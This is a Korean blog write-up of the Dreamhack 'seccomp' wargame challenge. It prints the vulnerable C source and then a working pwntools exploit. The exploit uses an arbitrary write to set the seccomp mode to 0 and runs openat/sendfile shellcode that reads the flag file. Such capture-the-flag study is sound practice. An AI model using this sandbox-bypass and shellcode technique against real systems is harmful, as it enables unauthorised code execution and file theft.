[Dreamhack] System Hacking Advanced Stage 2 - seccomp

2022. 9. 11. 23:43·Hacking/System

문제 파일이다.

// gcc -o seccomp seccomp.cq
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}

자세히 살펴보았다.

 

int mode = SECCOMP_MODE_STRICT;

STRICT 모드이기 때문에 wrtie, read, exit, sigreturn만 쓸 수 있다.

 

/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED	0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT	1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER	2 /* uses user-supplied filter. */

코드에서 mode를 0으로 바꾸면 seccomp가 사용되지 않아 조작이 용이할 것 같다.

 

해당 아이디어를 바탕으로 익스플로잇 코드를 작성했다.

from pwn import *

p = remote("host3.dreamhack.games", 서버번호)
e = ELF("./seccomp")
context.arch = "x86_64"

def case1(shellcode):
    p.sendlineafter(b"> ", b"1")
    p.sendafter(b": ", asm(shellcode))

def case2(): p.sendlineafter(b"> ", b"2")

def case3(addr, value):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b": ", str(addr))
    p.sendlineafter(b": ", str(value))

shellcode = shellcraft.openat(0, "/home/seccomp/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)

case3(e.sym['mode'], 0)
case1(shellcode)
case2()
p.interactive()

실행해 보았다.

무사히 FLAG를 얻을 수 있었다.

 

Stage 2 완료~~~

'Hacking/System' 카테고리의 다른 글
  • [Dreamhack] System Hacking Advanced Stage 3 - Background: Master Canary
  • [Dreamhack] System Hacking Advanced Stage 2 - Exploit Tech: Bypass SECCOMP
  • [Dreamhack] System Hacking Advanced Stage 2 - Background: SECCOMP
  • [Dreamhack] System Hacking Stage 3 - Tool: gdb
단축키실행해보세요
단축키실행해보세요
공대생
  • 단축키실행해보세요
    Ctrl + Shift + ESC
    단축키실행해보세요
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • 외부 활동 (4)
      • BOJ (36)
        • Python (24)
        • C++ (12)
        • Java (0)
      • Hacking (91)
        • Crypto (4)
        • Forensics (2)
        • Mobile Hacking (5)
        • Reversing (21)
        • System (21)
        • Web Hacking (38)
      • Cloud (5) N
        • Serverless (1)
        • AWS (6)
      • ML (3)
      • Data Structure (16)
      • Git (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    자료구조
    XPath
    backjoon
    cloud
    htmlinjection
    loctus
    pwnable
    백준
    SISS
    System
    Reversing
    유석종교수님
    Dreamhack
    Systemhacking
    AI
    SAA
    python
    CodeEngn
    EC2
    XML
    acc
    datastructure
    bWAPP
    basicrce3
    S3
    AWS
    c
    부하테스트
    Reflected
    beebox
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
단축키실행해보세요
[Dreamhack] System Hacking Advanced Stage 2 - seccomp
상단으로

티스토리툴바